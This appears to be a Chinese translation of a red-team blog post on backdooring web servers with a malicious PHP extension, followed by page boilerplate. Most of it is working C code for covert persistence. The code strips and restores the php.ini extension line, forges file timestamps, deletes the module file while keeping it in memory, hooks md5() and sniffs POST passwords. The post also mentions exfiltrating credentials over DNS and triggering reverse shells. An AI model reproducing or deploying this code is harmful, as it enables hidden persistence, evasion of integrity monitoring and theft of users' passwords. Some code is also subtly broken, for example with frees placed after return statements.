php网络相关的扩展,修改PHP扩展作为持久后门

写在前面的话

在我们作为红队的运营中,我们研究不同的持久后门方法,因为每种技术都有他的优缺点。选择通常基于不同情况,因此对于位于外围的服务器,PHP扩展是一个很棒的选择。我在Tarlogic的博客中做了关于这种旧技术的介绍性帖子。我建议你先阅读该帖子作为介绍,因为在这里我们不会讨论如何创建和编译扩展的基本主题。

本文的重点是:1.如何减少tracks

2.连接PHP函数并从Red Team中提取有用信息

3.拦截GET / POST参数PS:示例在PHP 7环境中进行测试(PHP 5和PHP 7 API内部之间有变化)

0x00 简介

1.如果在PHP中添加PHP扩展,PHP解释器将在启动时加载PHP.ini文件(extension = path / to / our / extension)

2.在PHP扩展中,我们主要关注4个hooks:MINIT&MSHUTDOWN,以及RINIT和RSHUTDOWN。当解释器启动和停止时,M 以root身份执行(通常)。R 在作为服务器用户执行。

3.我们可以从请求中读取HTTP头并触发任何操作(例如,执行命令或启动反向shell)。为了保持对受感染服务器的访问,PHP扩展是一个非常好的选择。我们可以使用合法的HTTP请求与这种后门进行交互(如推荐文章中所示),因为防火墙和网络规则无法检测到我们。但是想要加载我们的扩展,我们就需要修改php.ini文件重新加载配置。如果未恢复php.ini,那么其大小,哈希和时间戳将不同,操作将公开,蓝队获胜,我们输了。当然,php.ini修改应该会被文件完整性检查器立即检测到,但实际上SOCs往往忽略这种警报

0x01 php.ini未被修改

我们知道当我们修改了php.ini时会生成一个警报。可是如果当有人SSH连接到服务器,对php.ini进行cat操作,我什么也看不见。进行ls操作,时间戳也是好的。重新启动服务器只是为了再次检查没有发生任何奇怪的事情。我们的后门还活着。这是为什么?

当加载我们的PHP扩展时,我们不需要在php.ini文件中保留“extesion = path/to/our.so”这一行。我们可以程序化地将其恢复到原始状态。利用MINIT  hook,我们可以删除添加到php.ini的行,所以当加载扩展时,这个hook将以root(通常)触发,我们可以编辑php.ini文件而不会出现问题。同样,我们可以使用MSHUTDOWN插入一段代码,用于再次将行添加到php.ini中,因此当服务器重新启动时,将再次添加“extension = ...”行。当加载扩展时,将执行MINIT并关闭cicle。使用这种方法,php.ini文件在大部分时间内都不会显示任何奇怪的内容。泛型函数可以表示如下:/ This code sucks

int modifyExtension(int action) {

char source = NULL;

char needle = NULL;

FILE fp;

size_t newSize;

fp = fopen(PHPINI, "a+");

if (fp != NULL) {

if (action == 1) {

if (fseek(fp, 0L, SEEK_END) == 0) {

long bufsize = ftell(fp); // FileSize

if (bufsize == -1) {

return -1;

}

source = malloc(sizeof(char ) (bufsize + 1)); // Alloc memory to read php.ini

if (fseek(fp, 0L, SEEK_SET) != 0) {

return -1;

free(source);

}

newSize = fread(source, sizeof(char), bufsize, fp);

if (ferror(fp) != 0) {

return -1;

free(source);

}

else {

source[newSize++] = '\0';

needle = strstr(source, LOCATION);

if (needle != 0) {

FILE tmp = fopen("/tmp/.tmpini", "w");

fwrite(source, (needle - source - 11), 1, tmp); //11 = len("\nextension=kk.so")

fclose(tmp);

rename("/tmp/.tmpini", PHPINI);

}

}

free(source);

}

fclose(fp);

}

if (action == 0) {

fwrite("\nextension=", 11, 1, fp);

fwrite(LOCATION, strlen(LOCATION), 1, fp);

fclose(fp);

fprintf(stderr, "[+] Extension added to PHP.INI\n");

}

}

else {

return -1;

}

return 1;

}

这种策略的对应部分是,如果服务器以意外方式被kill,则不会执行`MSHUTDOWN hook`。另一方面,时间戳将被修改,因此我们也需要牢记这一点:#define PHPINI "/u/know/that/php.ini"

...

struct stat st;

stat(PHPINI, &st);

...// Do changes

new_time.actime = st.st_atime;

new_time.modtime = st.st_mtime;

utime(PHPINI, &new_time);

0x02 第二步

我们介绍了如何恢复php.ini,但是如果我们需要删除和恢复后门本身(共享对象),由于我们正在以用户级别工作(如果我们使用rootkit - 例如一个简单的LKM-我们可以隐藏它)。在加载扩展程序时,我们可以轻松地将其内容保存在内存中,然后删除该文件。就像是://Simple PoC

PHP_MINIT_FUNCTION(PoC)

{

//Executed when the module is loaded

// Privilege: root (usually)

int fd, check;

struct utimbuf new_time;

fprintf(stderr, "[+] LOADED\n");

//1) Calculate size of the file

struct stat st;

if (stat(LOCATION, &st) == -1) {

return SUCCESS;

}

filesize = st.st_size;

//2) Open the file

fd = open(LOCATION, O_RDONLY, 0);

if (fd == -1) {

return SUCCESS;

}

//3) Map file to memory

mapedFile = mmap(NULL, filesize, PROT_READ, MAP_PRIVATE, fd, 0);

close(fd);

//4) Delete file

remove(LOCATION);

//5) Get timestamp

stat(PHPINI, &st);

//6) Modify php.ini and delete the extension line

check = modifyExtension(1);

if (check == -1) {

fprintf(stderr, "[+] PHP.INI could not be edited\n");

}

else {

fprintf(stderr, "[+] PHP.INI edited\n");

}

//7) Fake timestamp

new_time.actime = st.st_atime;

new_time.modtime = st.st_mtime;

utime(PHPINI, &new_time);

...

下一步是使用MSHUTDOWN hook将共享对象从内存写入文件:PHP_MSHUTDOWN_FUNCTION(Allocer)

{

// We write the file again, edit php.ini and fake the timestamp

if (mapedFile == MAP_FAILED) {

return SUCCESS;

}

int check;

FILE *fp;

struct utimbuf new_time;

struct stat st;

fp = fopen(LOCATION, "w");

fwrite(mapedFile, 1, filesize, fp);

fclose(fp);

munmap(mapedFile, filesize);

stat(PHPINI, &st);

new_time.actime = st.st_atime;

new_time.modtime = st.st_mtime;

check = modifyExtension(0);

utime(PHPINI, &new_time);

return SUCCESS;

}

0x03 第三步

我们现在知道如何留下最小的tracks,并在Tarlogic博客的帖子中解释了如何与我们的后门进行通信并通过HTTP标头触发操作,所以让我们开始更有趣的事情,比如hooking。作为ReadTeamers,我们渴望获得进行横向运动的凭据。如果我们可以在常见的函数中放置一个hook(比如那些用于哈希密码或用于在数据库中插入新用户的函数),我们可以通过DNS解析索引的关键信息(如本文)。作为一个简单的PoC,我们将挂钩PHP函数md5()。让我们潜入PHP内部深处!函数符号表作为 HashTable存储在结构zend_compiler er_globals中:struct _zend_compiler_globals {

zend_stack loop_var_stack;

zend_class_entry active_class_entry;

zend_string compiled_filename;

int zend_lineno;

zend_op_array active_op_array;

HashTable function_table;  / function symbol table /

...

我我们可以通过CG(编译器全局)宏访问`function_table`成员,并搜索函数的地址.由于它是一个HashTable,我们可以使用zend_hash_str_find_ptr来搜索密钥“md5”。最后,我们只需要修改处理程序(指向函数的地址),使其指向我们的hook。像这样://Placed at MINIT

...

zend_function *orig;

orig = zend_hash_str_find_ptr(CG(function_table), "md5", strlen("md5"));

orig->internal_function.handler = zif_md5_hook;

...

检查原始的md5功能代码:PHP_NAMED_FUNCTION(php_if_md5)

{

zend_string *arg;

zend_bool raw_output = 0;

PHP_MD5_CTX context;

unsigned char digest[16];

ZEND_PARSE_PARAMETERS_START(1, 2)

Z_PARAM_STR(arg)

Z_PARAM_OPTIONAL

Z_PARAM_BOOL(raw_output)

ZEND_PARSE_PARAMETERS_END();

...

要首先创建我们的hook,我们需要使用正确的数据类型和args来定义它。在官方文档中显示`PHP_NAMED_FUNCTION`(无论如何)扩展为`void zif_whatever(INTERNAL_FUNCTION_PARAMETERS)`。所以我们的hook必须像这样创建:// Test Hook md5

void zif_md5_hook(INTERNAL_FUNCTION_PARAMETERS) {

php_printf("[+] Hook called\n");

zend_string *arg;

zend_bool raw_output = 0;

ZEND_PARSE_PARAMETERS_START(1, 2)

Z_PARAM_STR(arg)

Z_PARAM_OPTIONAL

Z_PARAM_BOOL(raw_output)

ZEND_PARSE_PARAMETERS_END();

php_printf("[+] MD5 Called with parameter: %s", ZSTR_VAL(arg));

}

编译并执行:mothra@arcadia:~/php-7.2.8/ext/Allocer|

⇒  sudo /usr/local/bin/php  -r "echo md5('kk');"

[+] LOADED

[+] PHP.INI edited

[+] Hook called

[+] MD5 Called with parameter: kk%

0x04嗅探参数

连接juicy函数是获取信息的一种很好的方式,但如果我们知道通过POST或GET发送的参数(例如登录表单)存在,那么捕获这些值要好得多。我们将把代码放在`RINIT hook`中,因为每次处理请求时都会执行它。为了检索信息,我们需要在php_variables.c上检查PHP引擎的工作方式:...

zval_ptr_dtor_nogc(&PG(http_globals)[TRACK_VARS_POST]);

ZVAL_COPY_VALUE(&PG(http_globals)[TRACK_VARS_POST], &array);

...

因此变量被视为来自`http_globals`的数组。搜索特定值的最简单方法(例如我们希望对登录表单中发送的`“pass”`参数进行说明)是从数组中获取HashTable,然后使用API​​进行搜索,就像我们之前搜索的那样md5功能。我们这样做的魔法函数是HASH_OF:zval password;

zval post_arr;

HashTable *post_hash;

post_arr = &PG(http_globals)[TRACK_VARS_POST]; //Array

post_hash = HASH_OF(post_arr);

password = zend_hash_str_find(post_hash, "pass", strlen("pass"));

if (password != 0) {

php_printf("Password: %s", Z_STRVAL_P(password));

}

如果我们测试它:mothra@arcadia:~/php-7.2.8/ext/Allocer|

⇒  curl localhost:8888/k.php --data "pass=s0S3cur3"

Password: s0S3cur3

现在,这个密码可以保存在文件中,或者只是通过DNS发送给我们所拥有的DNS服务器。

0x05 最后的话

PHP扩展是一种强大的方法,可以持久的保存在目标中,当然,这也是开始使用PHP内部的最佳借口。如果你发现这篇文章有用,或者指出我的错误,请通过twitter @TheXC3LL与我联系。

*参考来源:github,由周大涛编译,转载请注明来自FreeBuf.COM

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值